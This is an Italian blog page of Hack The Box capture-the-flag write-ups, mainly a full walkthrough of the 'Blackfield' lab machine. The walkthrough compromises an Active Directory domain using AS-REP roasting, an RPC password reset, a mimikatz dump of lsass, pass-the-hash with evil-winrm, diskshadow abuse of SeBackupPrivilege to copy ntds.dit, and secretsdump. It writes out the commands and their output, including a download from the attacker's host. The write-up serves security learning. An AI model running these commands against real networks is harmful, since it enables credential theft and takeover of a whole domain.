This machine sucks.
Tag: writeup
Passage
Per sbloccare il writeup usa l’hash di root:
$6$mjc8**********TW0
Return Oriented Programming, a walkthrough to ROPme challenge
This won’t be the hack the box challenge spoiler! This will be a ropme walkthrough using another binary which will help you to solve the exercise by yourself! Stay tuned!
Buff
This content is restricted.
Buff
La scansione nmap mostra 2 servizi esposti: User Flag Sulla porta 8080 gira un sito web che sponsorizza i servizi di una palestra: Dopo un po’ di enumerazione base che non ha portato a nulla ho deciso di googlare il footer dell’applicazione: projectworlds.in exploit Lo script sfrutta la possibilità di uploadare file anche se non […]
Blackfield
Di seguito l’output della scansione nmap:
# Nmap 7.80 scan initiated Wed Aug 26 04:37:46 2020 as: nmap -sV -p53,88,135,389,445,593,3268,5985 -oA full-ports 10.10.10.203
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
53/tcp filtered domain
88/tcp filtered kerberos-sec
135/tcp filtered msrpc
389/tcp filtered ldap
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
3268/tcp filtered globalcatLDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 26 04:37:56 2020 -- 1 IP address (1 host up) scanned in 9.44 seconds
Per prima cosa do un’occhiata agli share sulla macchina:
smbclient -L \\\\blackfield.htb
E’ possibile aggere anonimamente alla cartella profiles in cui sembra esserci una lista di utenti:
Salvo la lista e provo a verificare gli utenti con l’ausilio di Kerberos (porta 53):
GetNPUsers.py blackfield.local/ -usersfile userlist3.txt -format hashcat -dc-ip blackfield.htb
In questo modo ho la conferma o meno dell’esistenza di un utente e se sono fortunato ricevo pure un ticket da cui posso estrarre la password (AS-REP Roast), e infatti:
Passo il ticket ad hashcat ed estraggo la password per l’utenza support:
Con questo sistema riesco a rilevare l’esistenza anche di altri account: audit2020 e svc_backup.
Con le nuove credenziali provo a riconnettermi agli share a cui prima non avevo accesso attraverso smb ma non cambia nulla, non trovo niente di che.
Do un’occhiata ad RPC, mi viene in mente che forse un utenza denominata support possa ad esempio cambiare la password degli utenti, così provo ad impostare una password nuova per l’utente audit2020:
net rpc password audit2020 -U support -S 10.10.10.192
Enter new password for audit2020: #00^BlackKnight
Enter WORKGROUP\support's password: #00^BlackKnight
Funziona! Riferimenti: https://malicious.link/post/2017/reset-ad-user-password-with-linux/
Riprovo ad accedere ad smb con le credenziali audit2020:#00^BlackKnight, riesco a visualizzare e scaricare il contenuto della cartella forensics.
Scarico tutto! All’intenrno di memory_analysis trovo il dump del processo lsass.exe, il processo che contiene le credenziali di Windows!
Mi sposto sulla mia macchina windows e con l’ausilio di mimkatz riesco ad estrarre informazioni dal dump di lsass:
mimikatz.exe
sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.DMP' file for minidump...
Authentication Id : 0 ; 406458 (00000000:000633ba)
Session : Interactive from 2
User Name : svc_backup
Domain : BLACKFIELD
Logon Server : DC01
Logon Time : 2/23/2020 8:00:03 PM
SID : S-1-5-21-4194615774-2175524697-3563712290-1413
msv :
[00000003] Primary
* Username : svc_backup
* Domain : BLACKFIELD
* NTLM : 9658d1d1dcd9250115e2205d9f48400d
* SHA1 : 463c13a9a31fc3252c68ba0a44f0221626a33e5c
* DPAPI : a03cd8e9d30171f3cfe8caad92fef621
tspkg :
wdigest :
* Username : svc_backup
* Domain : BLACKFIELD
* Password : (null)
kerberos :
* Username : svc_backup
* Domain : BLACKFIELD.LOCAL
* Password : (null)
ssp :
credman :
Bingo! Non c’è la password ma c’è l’hash dell’utente svc_backup, posso utilizzare pass the hash con evil winrm.
evil-winrm -i blackfield.htb -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
Prendo la user flag:
A questo punto controllo i privilegi di svc_backup:
whoami /priv
SeBackupPrivilege consente di accedere a qualsiasi file o cartella se si procede nel contesto di un agente di backup.
Utilizzando diskshadow è possibile fare il backup del file ntds.dit (Il database di ActiveDirectory, contiene tutto). E’ necessario farlo perché altrimenti non sarebbe possibile copiare il file dal momento che è utilizzato dal sistema. Diskshadow invece permette di farne il backup e successivamente saremo in grado di copiare la copia di backup con un tool powershell.
Dal momento che diskshadow apre una shell interattiva ed evil-winrm non ci permette di utilizzarla, occorre inserire i comandi in uno script:
SET CONTEXT PERSISTENT NOWRITERSd
add volume c: alias favad
created
expose %fava% z:d
Un carattere finale dopo ogni comando è necessario, un carattere qualsiasi va bene. Non ho idea del perché ma sta cosa mi ha fatto tribolare parecchio.
Prima di eseguire lo script occorre spostarsi in una directory scrivibile da diskshadow, tipo c:\temp.
Invoke-WebRequest "http://10.10.14.xxx/script.txt" -OutFile "C:\users\svc_backup\documents\script.txt"
cd c:\
mkdir temp
cd temp
diskshadow /s c:\users\svc_backup\documents\script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 8/27/2020 7:34:06 AM
-> SET CONTEXT PERSISTENT NOWRITERS
-> add volume c: alias fava
-> create
Alias fava for shadow ID {41bd3e40-4fc7-43e8-8042-7378a68f7192} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07} set as environment variable.
Querying all shadow copies with the shadow copy set ID {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07}
* Shadow copy ID = {41bd3e40-4fc7-43e8-8042-7378a68f7192} %fava%
- Shadow copy set: {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 8/27/2020 7:34:08 AM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %fava% z:
-> %fava% = {41bd3e40-4fc7-43e8-8042-7378a68f7192}
The shadow copy was successfully exposed as z:\.
->
A questo punto si deve copiare il file NTDS.dit con l’ausilio di queste librerie:
https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug
Una volta caricate sulla box vanno importate in powershell, successivamente è possibile copiare il file:
Import-module .\SeBackupPrivilegeUtils.dll
Import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
Poi esporto il file system:
reg save HKLM\SYSTEM c:\temp\system
Scarico entrambi i file sulla mia macchina:
download system
Info: Downloading C:\temp\system to system Info: Download successful!
download ndts.dit
Info: Downloading C:\temp\ndts.dit to ndts.dit
Info: Download successful!
Ed estraggo gli hash delle password:
secretsdump.py -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash
Posso finalmente collegarmi come amministratore e prendere la fag di root:
Omni
This content is restricted.
Omni
Come al solito si comincia con una prima scansione veloce nmap: nmap -T5 –open -sS -vvv –min-rate=1000 –max-retries=2 -p- -oA full-ports 10.10.10.204 E una mirata: nmap -sC -sV -vvv -p135,5985,8080,29817,29819,29820 -oA full-ports 10.10.10.204 L’output di nmap sulla porta 8080 mostra una basic authentication in cui troviamo un bell’hint “Windows Device Portal”. Cercando su Google “Windows […]
Blackfield
Di seguito l’output della scansione nmap: Per prima cosa do un’occhiata agli share sulla macchina: smbclient -L \\\\blackfield.htb E’ possibile aggere anonimamente alla cartella profiles in cui sembra esserci una lista di utenti: Salvo la lista e provo a verificare gli utenti con l’ausilio di Kerberos (porta 53): GetNPUsers.py blackfield.local/ -usersfile userlist3.txt -format hashcat -dc-ip […]
Worker
This content is restricted.